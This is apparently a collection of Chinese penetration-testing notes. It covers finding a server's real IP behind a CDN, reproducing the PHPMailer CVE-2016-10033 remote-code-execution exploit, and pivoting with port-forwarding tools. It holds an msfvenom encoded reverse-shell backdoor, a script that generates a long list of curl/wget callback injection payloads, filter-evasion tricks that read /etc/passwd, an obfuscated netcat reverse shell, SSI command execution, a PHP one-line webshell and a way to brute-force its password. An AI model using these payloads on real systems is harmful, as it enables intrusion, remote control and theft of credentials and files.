判断是否使用了CDN:
1)使用17ce等测试解析IP,如果解析的只有一个IP则没有使用CDN。
2)通过ping查看
root@QiQi:/# ping www.chinaacc.com
PING 428717.p23.tc.cdntip.com (42.56.65.148) 56(84) bytes of data.

获取真实IP:
1)可能www.example.com走了CDN,但是example.com没有走CDN。
2)通过查询子域名的C段
3)国外访问
国内的CDN往往只会针对国内用户访问加速
所以国外就不一定了。因此通过国外代理访问就能查看真实IP了
或者通过国外的DNS解析,可能就能得到真实的IP
4)MX及邮件
mx记录查询,一般会是c段。
一些网提供注册服务,可能会验证邮件,
还有RSS订阅邮件、忘记密码等等
可能服务器本身自带sendmail可以直接发送邮件,当然使用第三方的除外(如网易、腾讯的等)
通过邮件发送地址往往也能得到服务器IP
当然这个IP也要验证是否为主站的
Web版的邮件管理,可以通过常看网页源代码看到IP
5)XSS
让服务器主动连接
6)phpinfo()
7)查看IP与域名绑定的历史记录,说不定就能找到使用CDN前的记录
http://www.17ce.com
http://toolbar.netcraft.com/site_report?url=
8)DDOS
耗尽CDN的流量
9)全网扫描
参考文章中的使用Zmap扫描国内IPWeb端口的方式。
10)历史漏洞

技巧:
很多测试站点都开放到了公网,需要绑定HOST后才能访问,收集子域名,然后转换为C段,然后绑定HOST访问test.example.com等测试,有可能就能搞到测试服务器。

参考文章:
1)https://xianzhi.aliyun.com/forum/read/451.html?fpage=2
2)http://www.myhack58.com/Article/html/3/8/2015/58213.htm

漏洞描述:
GitHub上面形容PHPMailer“可能是全球PHP发送邮件最流行的代码。亦被诸多开源项目所采用,包括WordPress、Drupal、1CRM、Joomla!等”。所以这个漏洞影响范围还是比较广的,漏洞级别也为Critical最高级。漏洞编号为CVE-2016-10033。
PHPmailer的项目地址:https://github.com/PHPMailer/PHPMailer
在这个包含漏洞的PHPMailer(PHPMailer < 5.2.18)版本中,发件人的电子邮件地址在传输时没有转义为shell命令。如此一来,攻击者就可以在发件人的电子邮件中增加shell命令以便在目标机器或网站上执行恶意代码。

POC:

漏洞复现:
参考:https://github.com/opsxcq/exploit-CVE-2016-10033
安装docker:

[root@localhost /]# yum -y install docker-io
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
[root@localhost exploit-CVE-2016-10033-master]# ./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080

[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Running whoami
www-data
RemoteShell> [+] Running 

RemoteShell> id
[+] Running id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

影响范围:
PHPMailer < 5.2.18

漏洞修复:
升级到PHPMailer 5.2.18或更高版本。

参考文章:
http://bobao.360.cn/learning/detail/3347.html
https://github.com/opsxcq/exploit-CVE-2016-10033
https://www.exploit-db.com/exploits/40968/
http://www.freebuf.com/news/123945.html

在日常的渗透中,通常在获得一台机器的权限后,如果想访问该机器所在内网的某机器端口,最常用的就是端口转发,比如可以将3389转发到公网的VPS上。下面是不同平台下常用的工具。

Windows


1)lcx
公网VPS:
lcx -listen 2222 3333
2222为转发端口,3333为本机任意未被占用的端口

测试机:
lcx -slave x.x.x.x 2222 127.0.0.1 3389

2)EarthWorm
公网VPS:
ew_for_Win.exe -s lcx_listen -l 10800 -e 8080

测试机:
E:\>ew_for_Win.exe -s lcx_slave -d 192.168.190.201 -e 8080 -f 192.168.192.144 -g 22

Linux


1)SSH隧道
本地端口转发
ssh -qTfnN -L port:host:hostport user@remote_ip #正向隧道,监听本地port
参数详解:

-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令,端口转发就用它了~

假定host1是本地主机,host2是远程主机。由于种种原因,这两台主机之间无法连通。但是,另外还有一台host3,可以同时连通前面两台主机。
我们在host1执行下面的命令:

[vincent@vincent rinetd]$ ssh -qTfnN -L 2345:192.168.192.120:22 root@172.16.100.167

其中:
host2 IP:192.168.192.120
host3 IP:172.16.100.167
命令中的L参数一共接受三个值,分别是”本地端口:目标主机:目标主机端口”,它们之间用冒号分隔。
然后看下host1的监听:

[vincent@vincent rinetd]$ netstat -ano | grep 2345
tcp 0 0 127.0.0.1:2345 0.0.0.0:* LISTEN off (0.00/0/0)

然后连接本地的2345端口即可访问host2的SSH

远程端口转发
ssh -qTfnN -R port:host:hostport user@remote_ip #反向隧道,用于内网穿透防火墙限制之类
host1 IP:192.168.192.120
host2 IP:172.16.100.167
host1与host2之间无法连通,必须借助host3转发。但是,如果host3是一台内网机器,它可以连接外网的host1,但是反过来就不行,外网的host1连不上内网的host3。
我们在host3执行下面的命令:

ssh -qTfnN -R 2345:172.16.100.167:22 root@192.168.192.120

其中2345为host1的监听端口,22为host2的转发端口。
然后我们看host1的监听端口:

[root@server120 rinetd]# netstat -ano | grep 2345
tcp 0 0 127.0.0.1:2345 0.0.0.0:* LISTEN off (0.00/0/0)

此时我们通过ssh连接本地的2345端口即可访问host2的ssh。
看一下host3的进程:

[root@vincent rinetd]# ps axu | grep ssh | grep 2345
root 80061 0.0 0.1 62296 1288 ? Ss 12:58 0:00 ssh -qTfnN -R 2345:172.16.100.167:22 root@192.168.192.120

对应的连接:

[root@vincent rinetd]# netstat -anlp | grep 80061
tcp 0 0 172.16.100.134:58166 192.168.192.120:22 ESTABLISHED 80061/ssh

2)EarthWorm
公网VPS:

./ew -s lcx_listen -l 10800 -e 888

测试机:

./ew_for_linux64 -s lcx_slave -d 198.98.112.112 -e 888 -f 192.168.192.144 -g 8888

3)meterpreter

meterpreter > portfwd add -l 4444 -p 3389 -r 172.16.100.131
[*] Local TCP relay created: 0.0.0.0:4444 <-> 172.16.100.131:3389

meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20
[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80

4)rinetd

wget http://www.boutell.com/rinetd/http/rinetd.tar.gz
tar -zxvf rinetd.tar.gz

[root@vincent rinetd]# make
cc -DLINUX -g -c -o rinetd.o rinetd.c
rinetd.c:176: 警告:与内建函数‘log’类型冲突
cc -DLINUX -g -c -o match.o match.c
gcc rinetd.o match.o -o rinetd

[root@vincent rinetd]# make install
install -m 700 rinetd /usr/sbin
install -m 644 rinetd.8 /usr/man/man8
install: 无法创建普通文件"/usr/man/man8": 没有那个文件或目录
make: *** [install] 错误 1

运行make可能会出现错误,需如下修改,将rinetd.c文件中bindPort >= 65536和connectPort >= 65536修改为65535,不然在make的时候会提示超出系统最大定义端口。
手动建目录/usr/man/

[root@vincent rinetd]# make install
install -m 700 rinetd /usr/sbin
install -m 644 rinetd.8 /usr/man/man8

建立配置文件/etc/rinetd.conf,内容格式:源IP 源端口 要跳转的IP 要跳转的端口。我们来添加一条

allow 192.168.190.201 #设置允许连接的IP
0.0.0.0 2222 192.168.192.122 3389
[root@vincent rinetd]# ./rinetd -c /etc/rinetd.conf

看一下本地监听端口

[root@vincent rinetd]# netstat -ano | grep 2222
tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN off (0.00/0/0)

然后我们使用192.168.190.201连接本机的2222端口,就可以登录192.168.192.122远程桌面

5)Iptables
需要有Root权限
首先启用网卡转发功能

[root@linux-node1 ~]# vim /etc/sysctl.conf
..........
net.ipv4.ip_forward = 1

PREROUTING是目的地址转换,要把别人的公网IP换成你们内部的IP,才让访问到你们内部受防火墙保护的机器。
POSTROUTING是源地址转换,要把你的内网地址转换成公网地址才能让你上网。
源地址发送数据–> {PREROUTING–>路由规则–>POSTROUTING} –>目的地址接收到数据

这里将访问192.168.192.120 1080 转到 192.168.192.144 22端口

iptables -t nat -A PREROUTING -p tcp -m tcp --dport 1080 -j DNAT --to-destination 192.168.192.144:22 
iptables -t nat -A POSTROUTING -d 192.168.192.144 -p tcp -m tcp --dport 22 -j SNAT --to-source 192.168.192.120

 

[root@server120 source]# iptables -t nat -L -vn
Chain PREROUTING (policy ACCEPT 505 packets, 93775 bytes)
pkts bytes target prot opt in out source destination 
1 52 DNAT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:1080 to:192.168.192.144:22

Chain POSTROUTING (policy ACCEPT 31 packets, 1739 bytes)
pkts bytes target prot opt in out source destination 
1 52 SNAT tcp -- * * 0.0.0.0/0 192.168.192.144 tcp dpt:22 to:192.168.192.120

Chain OUTPUT (policy ACCEPT 31 packets, 1739 bytes)
pkts bytes target prot opt in out source destination

 

清空配置

iptables -t nat -F

 

端口转发的应用案例:

公网的VPS上没有msf的话,我们可以利用ssh隧道的端口转发功能,来使用本地的msf。
首先修改VPS的配置
编辑 /etc/ssh/sshd_config
在文件最后添加:
GatewayPorts yes
GatewayPorts是否允许远程主机连接本地的转发端口.默认值是”no”.
sshd 默认将远程端口转发绑定到loopback地址.这样将阻止其它远程主机连接到转发端口。
GatewayPorts 指令可以让 sshd 将远程端口转发绑定到非loopback地址,这样就可以允许远程主机连接了。

首先在本地执行

ssh -qTfnN -R 2345:172.16.100.128:2345 root@172.16.100.134

转发本地的2345端口到172.16.100.134的2345端口。
来查看一下172.16.100.134的连接

[root@vincent rinetd]# netstat -anlp | grep 2345
tcp 0 0 0.0.0.0:2345 0.0.0.0:* LISTEN 83417/sshd

发现2345端口是监听在0.0.0.0的,而如果没有GatewayPorts no的话则是监听在127.0.0.1的,仅允许本地连接。
然后我们生成一个后门

root@kali-vincent:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=172.16.100.134 LPORT=2345 -f exe -o abc.exe

然后我们在windows上运行一下这个后门,就可以直接在本地获取到meterpreter。

 

常规的扫描器在做OS注入的检查时都是通过回显字符匹配的方式来做判断,而有些情况下是没有回显的。那么就可以使用DNS Log和access log记录命令执行的结果(参考cloudeye)。包括一些SQL盲注、SSRF、XXE等漏洞同样可以使用。
这里我们可以用URI的方式获得判断是否存在OS注入和获取执行结果。需要了解的是:
shell执行命令的方式有:
`command`和$(command)
shell中命令的连接方式有:
;、|、&、%0a
然后还需要闭合前面的语句。

测试程序:
<?php   system($_GET[‘a’]);?>
访问curl为:
http://192.168.192.120/command.php?a=xx;$(curl%09http://zz-easy/oslog/`hostname`);
参考先知论坛上发的文章,修改脚本如下:

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

PREFIX = 'xx'
SUFFIX = 'yy'

cmd_sep = [
    ' ',
    '%09',
    '${IFS}'
]

cmd_exec = [
    ['`','`'],
    ['$(',')']
]

cmd_char = [
#{CMDCHAR}
    ';',
    '|',
    '&',
    '%0a',
]

close = [
#{CLOSE}
    "\'",
    '"',
    ''
]

cmd = [
#{COMMAND}
    'curl',
    'wget'
]

payload = []
payload.append('{COMMAND}' + '{CMDSEP}' + 'http://vinc.top/oslog/0123456789')
for e in cmd_exec:
    payload.append(e[0] + '{COMMAND}' + '{CMDSEP}' + 'http://vinc.top/oslog/0123456789' + e[1])
for b in cmd_char:
    payload.append(b + e[0] + '{COMMAND}' + '{CMDSEP}' + 'http://vinc.top/oslog/0123456789' + e[1] + b)
    for c in close:
        payload.append(PREFIX + c + b + e[0] + '{COMMAND}' + '{CMDSEP}' + 'http://vinc.top/oslog/0123456789' + e[1] + b + c + SUFFIX)
for e in cmd:
    for a in cmd_sep:
        for _ in payload:
            _=_.replace('{COMMAND}', e)
            _=_.replace('{CMDSEP}', a)
            print _

最终生成的payload如下:

curl http://vinc.top/oslog/0123456789
`curl http://vinc.top/oslog/0123456789`
$(curl http://vinc.top/oslog/0123456789)
;$(curl http://vinc.top/oslog/0123456789);
xx';$(curl http://vinc.top/oslog/0123456789);'yy
xx";$(curl http://vinc.top/oslog/0123456789);"yy
xx;$(curl http://vinc.top/oslog/0123456789);yy
|$(curl http://vinc.top/oslog/0123456789)|
xx'|$(curl http://vinc.top/oslog/0123456789)|'yy
xx"|$(curl http://vinc.top/oslog/0123456789)|"yy
xx|$(curl http://vinc.top/oslog/0123456789)|yy
&$(curl http://vinc.top/oslog/0123456789)&
xx'&$(curl http://vinc.top/oslog/0123456789)&'yy
xx"&$(curl http://vinc.top/oslog/0123456789)&"yy
xx&$(curl http://vinc.top/oslog/0123456789)&yy
%0a$(curl http://vinc.top/oslog/0123456789)%0a
xx'%0a$(curl http://vinc.top/oslog/0123456789)%0a'yy
xx"%0a$(curl http://vinc.top/oslog/0123456789)%0a"yy
xx%0a$(curl http://vinc.top/oslog/0123456789)%0ayy
curl%09http://vinc.top/oslog/0123456789
`curl%09http://vinc.top/oslog/0123456789`
$(curl%09http://vinc.top/oslog/0123456789)
;$(curl%09http://vinc.top/oslog/0123456789);
xx';$(curl%09http://vinc.top/oslog/0123456789);'yy
xx";$(curl%09http://vinc.top/oslog/0123456789);"yy
xx;$(curl%09http://vinc.top/oslog/0123456789);yy
|$(curl%09http://vinc.top/oslog/0123456789)|
xx'|$(curl%09http://vinc.top/oslog/0123456789)|'yy
xx"|$(curl%09http://vinc.top/oslog/0123456789)|"yy
xx|$(curl%09http://vinc.top/oslog/0123456789)|yy
&$(curl%09http://vinc.top/oslog/0123456789)&
xx'&$(curl%09http://vinc.top/oslog/0123456789)&'yy
xx"&$(curl%09http://vinc.top/oslog/0123456789)&"yy
xx&$(curl%09http://vinc.top/oslog/0123456789)&yy
%0a$(curl%09http://vinc.top/oslog/0123456789)%0a
xx'%0a$(curl%09http://vinc.top/oslog/0123456789)%0a'yy
xx"%0a$(curl%09http://vinc.top/oslog/0123456789)%0a"yy
xx%0a$(curl%09http://vinc.top/oslog/0123456789)%0ayy
curl${IFS}http://vinc.top/oslog/0123456789
`curl${IFS}http://vinc.top/oslog/0123456789`
$(curl${IFS}http://vinc.top/oslog/0123456789)
;$(curl${IFS}http://vinc.top/oslog/0123456789);
xx';$(curl${IFS}http://vinc.top/oslog/0123456789);'yy
xx";$(curl${IFS}http://vinc.top/oslog/0123456789);"yy
xx;$(curl${IFS}http://vinc.top/oslog/0123456789);yy
|$(curl${IFS}http://vinc.top/oslog/0123456789)|
xx'|$(curl${IFS}http://vinc.top/oslog/0123456789)|'yy
xx"|$(curl${IFS}http://vinc.top/oslog/0123456789)|"yy
xx|$(curl${IFS}http://vinc.top/oslog/0123456789)|yy
&$(curl${IFS}http://vinc.top/oslog/0123456789)&
xx'&$(curl${IFS}http://vinc.top/oslog/0123456789)&'yy
xx"&$(curl${IFS}http://vinc.top/oslog/0123456789)&"yy
xx&$(curl${IFS}http://vinc.top/oslog/0123456789)&yy
%0a$(curl${IFS}http://vinc.top/oslog/0123456789)%0a
xx'%0a$(curl${IFS}http://vinc.top/oslog/0123456789)%0a'yy
xx"%0a$(curl${IFS}http://vinc.top/oslog/0123456789)%0a"yy
xx%0a$(curl${IFS}http://vinc.top/oslog/0123456789)%0ayy
wget http://vinc.top/oslog/0123456789
`wget http://vinc.top/oslog/0123456789`
$(wget http://vinc.top/oslog/0123456789)
;$(wget http://vinc.top/oslog/0123456789);
xx';$(wget http://vinc.top/oslog/0123456789);'yy
xx";$(wget http://vinc.top/oslog/0123456789);"yy
xx;$(wget http://vinc.top/oslog/0123456789);yy
|$(wget http://vinc.top/oslog/0123456789)|
xx'|$(wget http://vinc.top/oslog/0123456789)|'yy
xx"|$(wget http://vinc.top/oslog/0123456789)|"yy
xx|$(wget http://vinc.top/oslog/0123456789)|yy
&$(wget http://vinc.top/oslog/0123456789)&
xx'&$(wget http://vinc.top/oslog/0123456789)&'yy
xx"&$(wget http://vinc.top/oslog/0123456789)&"yy
xx&$(wget http://vinc.top/oslog/0123456789)&yy
%0a$(wget http://vinc.top/oslog/0123456789)%0a
xx'%0a$(wget http://vinc.top/oslog/0123456789)%0a'yy
xx"%0a$(wget http://vinc.top/oslog/0123456789)%0a"yy
xx%0a$(wget http://vinc.top/oslog/0123456789)%0ayy
wget%09http://vinc.top/oslog/0123456789
`wget%09http://vinc.top/oslog/0123456789`
$(wget%09http://vinc.top/oslog/0123456789)
;$(wget%09http://vinc.top/oslog/0123456789);
xx';$(wget%09http://vinc.top/oslog/0123456789);'yy
xx";$(wget%09http://vinc.top/oslog/0123456789);"yy
xx;$(wget%09http://vinc.top/oslog/0123456789);yy
|$(wget%09http://vinc.top/oslog/0123456789)|
xx'|$(wget%09http://vinc.top/oslog/0123456789)|'yy
xx"|$(wget%09http://vinc.top/oslog/0123456789)|"yy
xx|$(wget%09http://vinc.top/oslog/0123456789)|yy
&$(wget%09http://vinc.top/oslog/0123456789)&
xx'&$(wget%09http://vinc.top/oslog/0123456789)&'yy
xx"&$(wget%09http://vinc.top/oslog/0123456789)&"yy
xx&$(wget%09http://vinc.top/oslog/0123456789)&yy
%0a$(wget%09http://vinc.top/oslog/0123456789)%0a
xx'%0a$(wget%09http://vinc.top/oslog/0123456789)%0a'yy
xx"%0a$(wget%09http://vinc.top/oslog/0123456789)%0a"yy
xx%0a$(wget%09http://vinc.top/oslog/0123456789)%0ayy
wget${IFS}http://vinc.top/oslog/0123456789
`wget${IFS}http://vinc.top/oslog/0123456789`
$(wget${IFS}http://vinc.top/oslog/0123456789)
;$(wget${IFS}http://vinc.top/oslog/0123456789);
xx';$(wget${IFS}http://vinc.top/oslog/0123456789);'yy
xx";$(wget${IFS}http://vinc.top/oslog/0123456789);"yy
xx;$(wget${IFS}http://vinc.top/oslog/0123456789);yy
|$(wget${IFS}http://vinc.top/oslog/0123456789)|
xx'|$(wget${IFS}http://vinc.top/oslog/0123456789)|'yy
xx"|$(wget${IFS}http://vinc.top/oslog/0123456789)|"yy
xx|$(wget${IFS}http://vinc.top/oslog/0123456789)|yy
&$(wget${IFS}http://vinc.top/oslog/0123456789)&
xx'&$(wget${IFS}http://vinc.top/oslog/0123456789)&'yy
xx"&$(wget${IFS}http://vinc.top/oslog/0123456789)&"yy
xx&$(wget${IFS}http://vinc.top/oslog/0123456789)&yy
%0a$(wget${IFS}http://vinc.top/oslog/0123456789)%0a
xx'%0a$(wget${IFS}http://vinc.top/oslog/0123456789)%0a'yy
xx"%0a$(wget${IFS}http://vinc.top/oslog/0123456789)%0a"yy
xx%0a$(wget${IFS}http://vinc.top/oslog/0123456789)%0ayy

参考文章:
https://xianzhi.aliyun.com/forum/read/557.html
https://www.secpulse.com/archives/47357.html
http://www.2cto.com/article/201607/522319.html

PHP挖到命令注入的时候经常会发现有过滤的情况,下面总结师傅们的一些经验。

测试代码:

<?php   system($_GET[‘a’]);?>

 

0x01 空格


1)使用$IFS

http://192.168.192.120/command.php?a=cat$IFS/etc/issue

2){ls,-l,/}

http://192.168.192.120/command.php?a={cat,/etc/passwd}

3)使用Tab

http://192.168.192.120/command.php?a=cat%09/etc/passwd

 

0x02 关键字


1)利用系统环境变量

[root@server120 html]# echo ${SHELLOPTS}

braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor

[root@server120 html]# echo ${SHELLOPTS:3:1}

c

http://192.168.192.120/command.php?a=${SHELLOPTS:3:1}at${IFS}/etc/passwd

2)利用空变量绕过

http://192.168.192.120/command.php?a=cat%20/etc/pas${x}swd

3)字符拼接绕过

http://192.168.192.120/command.php?a=a=l;b=s;$a$b

4)Linux下利用通配符?和*

平时操作Linux时经常会用到通配符,例如列出当前目录下的jsp文件

[root@template tmp]# ls *.jsp

123.jsp  xx.jsp

同样在过滤了关键字的情况下,也可以利用通配符绕过,例如输入过滤了/etc/passwd,使用通配符绕过

http://192.168.192.239/command.php?a=%2fbin%2fcat$IFS%2f???%2f???s??

反弹shell测试(需要关闭Selinux,不然反弹不成功)

/bin/nc 192.168.192.144 2345 -e /bin/bash

然后用通配符替换关键字,IP地址转换为16进制。

/b??/?c 3232284816 2345 -e /???/b??h

5)使用\绕过

http://192.168.192.239/command.php?a=/b\in/c\a\t%20/e\tc/p\ass\wd

 

0x03连接符


1)&&

2)||

3)%0a

4);

5)&

6)|

 

以前遇到文件上传的时候,如果限制了脚本解析,只是当做XSS来用,今天看到如果网站支持shtml的话 可以尝试执行命令和读取文件。
Apache下开启SSI配置  :
1)去掉AddType text/html .shtml ,AddOutputFilter INCLUDES .shtml前面注释
2)查找Options Indexes FollowSymLinks 在后面加上INCLUDES
3)service httpd restart

执行命令:
<!–#exec cmd=”cat /etc/passwd”–>

读取文件:
<!–#include file=”../../../../../etc/passwd”–>  //相对路径
<!–#include virtual=”/etc/passwd”–>  //需要绝对路径
老外已经写好了现成的代码,现在地址:http://www.mottoin.com/wp-content/uploads/2016/07/code.zip
测试结果:

如果值不为空则表示执行成功。

所以遇到可以上传任意文件,但是无法拿shell的时候可以尝试上传.stm、.shtm、 .shtml。

PHP中一句话木马如下:
<?php @eval($_POST[5]);?>
变量=echo “ok”;
如果这个变量等于密码的时候,我们的语句就会被传参带入执行,那如果我们批量提交(即a=echo “ok”;&b=echo “ok”;&c=echo “ok”;&….)呢
只要我们提交的参数中含有实际的参数,就可被接收。
但是会有一定的限制↓
Apache下 默认同时允许接收1000个参数
IIS下  默认同时允许接收5883个参数
来测试一下:

那么对于10W的字典,仅需100次就可以爆破出密码。

参考文章:
http://www.freebuf.com/sectool/122169.html